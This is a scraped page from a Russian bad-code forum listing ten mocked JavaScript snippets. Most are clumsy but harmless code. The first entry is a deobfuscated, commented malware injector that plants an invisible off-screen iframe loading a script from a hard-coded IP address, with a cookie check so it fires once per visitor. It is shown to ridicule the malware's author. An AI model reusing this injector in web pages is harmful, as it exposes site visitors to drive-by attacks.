1. JavaScript / Говнокод #16315

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    <script type="text/javascript" language="javascript"> // весь следующий код внедряется в страницу
    
    function llolwut()  // функция, создающая невидимый iframe - http://69.67.187.39/TpqzKHZm.php
    {
    	var momge = document.createElement('iframe');
    	
    	momge.src = 'http://69.67.187.39/TpqzKHZm.php';
    	momge.style.border = '0';
    	momge.style.position = 'absolute';
    	momge.style.left = '-1234px';
    	momge.style.top = '-1337px';
    	momge.style.height = '21px';
    	momge.style.width = '21px';
    	
    	if ( !document.getElementById( 'momge' ) ) // если еще не сделали iframe
    	{
    		document.write('<div name=\'momge\' id=\'momge\'></div>');
    		document.getElementById('momge').appendChild(momge ); // сделать его
    	}
    }
    
    function SetCookie( cookieName, cookieValue, nDays, path ) // установить кукисы
    {
    	var today = new Date();
    	var expire = new Date();
    	
    	if ( nDays == null || nDays == 0 )
    		nDays = 1;
    		
    	expire.setTime(today.getTime() + 1800000*24*nDays);
    	document.cookie = cookieName + "=" + escape( cookieValue ) + ";expires=" + expire.toGMTString() + ( (path) ? ";path = " + path : "");
    }
    
    function GetCookie(name) // получить кукисы
    {
    	var start = document.cookie.indexOf( name + "=" );
    	var len = start + name.length + 1;
    	
    	if ( (!start) && ( name != document.cookie.substring( 0,name.length ) ) )
    		return null;
    	
    	if ( start == -1 )
    		return null;
    		
    	var end = document.cookie.indexOf( ";", len );
    	
    	if ( end == -1 )
    		end = document.cookie.length;
    		
    	return unescape( document.cookie.substring( len, end ) );
    }
    
    // основной код
    
    if ( navigator.cookieEnabled ) // если кукисы включены в настройках
    {
    	if( GetCookie( '___utma' ) == '84f5e86989f374536450659c18f5489e' ) {} // если проставлены вредные кукисы - ничего не делать
    	else // если не проставлены - установить их и внедрить невидимый iframe в код страницы
    	{
    		SetCookie( '___utma', '84f5e86989f374536450659c18f5489e', '1', '/' );
    		llolwut();
    	}
    }
    </script>

    Мега-вирус, by H@C|<3R. Изначально все это дерьмо было в 1 строку и без комментариев.

    gost, 12 Июля 2014

    Комментарии (5)
  2. JavaScript / Говнокод #16313

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    js меня восхищает, реально. это язык, где проблемы с замыканием можно решить, добавив ещё одно замыкание. прикинем, например
    
    var object = ...;
    doShit(function /* async callback */ () { object.doOtherShit(); });
    
    пока вроде как всё зашибись. но вдруг понадобилось написать цикл:
    
    for (var i....) {
      var object = array[i];
      doShit(function /* this now fails hard */ () { object.doOtherShit(); });
    }
    
    что же делац? правильно, врапим всё в ещё одну функцию:
    
    for (var i....) {
      (function(object){
        doShit(function /* oh, it's okay again */ () { object.doOtherShit(); });
      })(array[i]);
    }

    makc3d, 12 Июля 2014

    Комментарии (3)
  3. JavaScript / Говнокод #16311

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    function createDataStringFromArray(data){
        dataName = "outputSyntax=plain"
        data.each(function(value, index){
            if(value.name == "register_first_name"){
                dataName = dataName + "&register_first_name=" + value.value;
            }else if(value.name == "register_last_name"){
                dataName = dataName + "&register_last_name=" + value.value;
            }else if(value.name == "etablishment"){
                dataName = dataName + "&etablishment=" + value.value;
            }else if(value.name == "function"){
                dataName = dataName + "&fonction=" + value.value;
            }else if(value.name == "element_id"){
                dataName = dataName + "&id=" + value.value;
            }else if(value.name == "mail"){
                dataName = dataName + "&register_email=" + value.value;
            }else if(value.name == "phone"){
                dataName = dataName + "&register_phone=" + value.value;
            }else if(value.name == "mobile"){
                dataName = dataName + "&register_mobile=" + value.value;
            }else if(value.name == "access"){
                dataName = dataName + "&access=" + value.value;
            }else if(value.name == "mail_alerts"){
                dataName = dataName + "&mail_alerts=" + value.value;
            }
        })
        return dataName;
    }

    iofjuupasli, 11 Июля 2014

    Комментарии (1)
  4. JavaScript / Говнокод #16310

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    jQuery(document).ready(function(){
        jQuery('#administratifs .accessElement').each(function(){
            #foreach($user in $users)
                #set($function = $user.getProperty('fonction').getValue())
                if(jQuery(this).attr('id')== "accessElement_$user.getNumber()"){
                    jQuery(this).find('.selectFunction option').filter(function() {
                    return jQuery(this).text() == "$function";
                    }).prop('selected', true);
                }
            #end
        })
    
        jQuery('#administratifs .disableClass').attr('disabled', 'disabled');
    
    })

    тут еще velocity

    iofjuupasli, 11 Июля 2014

    Комментарии (0)
  5. JavaScript / Говнокод #16307

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    /*.slimNotificationBar {
     left : 60px;
     right: 100px;
    }*/
    var sText = "Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.";
    
    function displayListener(oEvent) {
        var bShow = oEvent.getParameter("show");
    
        if (bShow) {
            /*
             * Now the application can decide how to display the bar. It can be maximized, default, minimized (please see NotificationBarStatus) 
             */
            var sStatus = sap.ui.ux3.NotificationBarStatus.Default;
            oNotiBar1.setVisibleStatus(sStatus);
        } else {
            var sStatus = sap.ui.ux3.NotificationBarStatus.None;
            oNotiBar1.setVisibleStatus(sStatus);
        }
    };
    
    var now = (new Date()).toUTCString();
    var oMessage = new sap.ui.core.Message({
        text : sText,
        timestamp : now
    });
    
    var oNotifier = new sap.ui.ux3.Notifier({
        title : "The first Notifier"
    });
    oNotifier.addMessage(oMessage);
    
    var oNotiBar1 = new sap.ui.ux3.NotificationBar({
        display : displayListener,
        visibleStatus : "None",
        resizeEnabled : false
    });
    oNotiBar1.addStyleClass("sapUiNotificationBarDemokit");
    oNotiBar1.addStyleClass("slimNotificationBar");
    oNotiBar1.addNotifier(oNotifier);
    oNotiBar1.placeAt("sample1");

    Решил для нужд одного проекта ознакомиться с официальной документацией к OpenUI5 от весьма известной фирмы SAP. Полдня моей жизни убиты без всякой пользы. Больше примеров того, как НЕ надо писать код на JS, здесь: https://openui5.hana.ondemand.com/#content/Controls/index.html
    ExtJS использовать не могу по лицензионным соображениям, остаётся смотреть в сторону qooxdoo и YUI...

    dunmaksim, 11 Июля 2014

    Комментарии (0)
  6. JavaScript / Говнокод #16302

    +161

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    for ( var i in data){
                data[i].id = data[i].id.toString();
                if (tree.l0[data[i].id] == undefined){
                    tree.l0[data[i].id] = data[i];           
                }            
                if (data[i].children){
                    for (var j in data[i].children){
                        data[i].children[j].id = data[i].children[j].id.toString();
                        if ( tree.l1[data[i].children[j].id] == undefined && tree.l2[data[i].children[j].id] == undefined){
                            tree.l1[data[i].children[j].id] = data[i].children[j];    
                        }
                        if (data[i].children[j].children){
                            for (var z in data[i].children[j].children){
                                data[i].children[j].children[z].id = data[i].children[j].children[z].id.toString();
                                if (tree.l2[data[i].children[j].children[z].id] == undefined){
                                    tree.l2[data[i].children[j].children[z].id] = data[i].children[j].children[z];
                                }
                            }
                        }
                    }
                }
            }

    Вот с таким кодом приходится работать... [продолжение]

    monstrodev, 10 Июля 2014

    Комментарии (16)
  7. JavaScript / Говнокод #16301

    +158

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    for ( var i in data){
                flat_data.push(data[i]);       
                if (data[i].children){
                    for (var j in data[i].children){
                        flat_data.push(data[i].children[j]);
                        if (data[i].children[j].children){
                            for (var z in data[i].children[j].children){
                                flat_data.push(data[i].children[j].children[z]);
                            }
                        }
                    }
                }
            }

    Вот с таким кодом приходится работать...

    monstrodev, 10 Июля 2014

    Комментарии (2)
  8. JavaScript / Говнокод #16291

    +163

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    с сохранением авторского форматирования:
    
    <script type="text/javascript">
                    $(function() {
                       
                        if (<%= (orderedPartnerOffer != null).ToString().ToLower() %>) {
                            $('p','#idProjectStepContent<%= stepGuid %>').text('Ваша заявка успешно отправлена.');
             }
    
    </script>

    В джаваскрипте на онлоад проверить, есть ли значение у серверной переменной, чтобы с помощью жЭкУэээри обновить текст элемента. Ояебу. Кажется мы наняли сатану.

    adoconnection, 09 Июля 2014

    Комментарии (1)
  9. JavaScript / Говнокод #16288

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    <script type="text/javascript">
        if (parent && parent != window && (browser.msie || browser.opera || browser.mozilla || browser.chrome || browser.safari || browser.iphone)) {
          document.getElementsByTagName('body')[0].innerHTML = '';
        } else {
          domReady();
          updateMoney(0);
    gSearch.init();
    if (window.qArr && qArr[5]) qArr[5] = [5, "by item", "", "goods", 0x00000100];
    if (browser.iphone || browser.ipad || browser.ipod) {
      setStyle(bodyNode, {webkitTextSizeAdjust: 'none'});
    }
    if (0) {
      hide('support_link_td');
    }
    var ts_input = ge('ts_input'), oldFF = browser.mozilla && parseInt(browser.version) < 8;
    if (browser.mozilla && !oldFF) {
      setStyle(ts_input, {padding: (vk.rtl ? '3px 20px 6px 40px' : '3px 41px 6px 20px')});
    }
    placeholderSetup(ts_input, {back: false, reload: true});
    if (browser.opera || browser.msie || browser.mozilla) {
      setStyle(ts_input, {padding: (vk.rtl ? '4px 20px 5px 40px' : '4px 41px 5px 20px')});
    } else if (browser.chrome || browser.safari) {
      setStyle(ts_input, {padding: (vk.rtl ? '4px 21px 5px 40px' : '4px 40px 5px 21px')});
    }
    
    ...
    
    window.tsHintsEnabled = 1;;setTimeout(function() {  try {    var elem = ge(String.fromCharCode.apply(null,[118,107,98,95,97,100,118]));    if (elem) {      ajax.post('/al_profile.php', {act: 'pro', section: 1, hash: '3f8471898e6269d08b'}, {onDone: function() {}, onFail: function() { return true; }});    }  } catch (e) {}}, 5000);
    __adsLoaded = false;
    
    ...
    
    cur.lang = extend(cur.lang || {}, {
      wall_link_label: 'Link',
      wall_my_friends_only: 'Only your friends can see this post',

    Перестала грузиться понятно какая соцсеточка, от нечего делать опять полез в сорцы html. Вперемешку инициализация поиска, битмаски и какой-то qArr[5], уконтрапупивание всего body по непонятному условию, стилизация, if(0), табуляция в соответствии с каким-то особым стандартом, локализация, вторая половина которой зачем-то подтягивается отдельным файлом. Про установку всех переменных прямо в window явно и неявно молчу.

    Fike, 08 Июля 2014

    Комментарии (1)
  10. JavaScript / Говнокод #16278

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    var colData = portfolioTable.getAvailableColumns();
    	        var colspecs = [];
    	        for (var i = 0, len = colData.length; i < len; i++) {
    	            var colspec = { 'field': colData[i].id, 'width': colData[i].width };
    	            colspecs.push(colspec);
    	        }
    	        var flag;
    
    		// бл, это ппц! для чего и тут accountNumber?!
    	        for (var i = 0, len = colspecs.length; i < len; i++) {
    	            if (colspecs[i].field !== 'AccountNumber') {
    	                flag = true;
    	            } else {
    	                flag = false;
    	                break;
    	            }
    	        }
    	        if (flag) {
    	            colspecs.unshift({ 'field': 'AccountNumber', 'width': 120 });
    	        }

    Из одного проекта, в котором больше половины кода - натурально индусский.

    And, 04 Июля 2014

    Комментарии (0)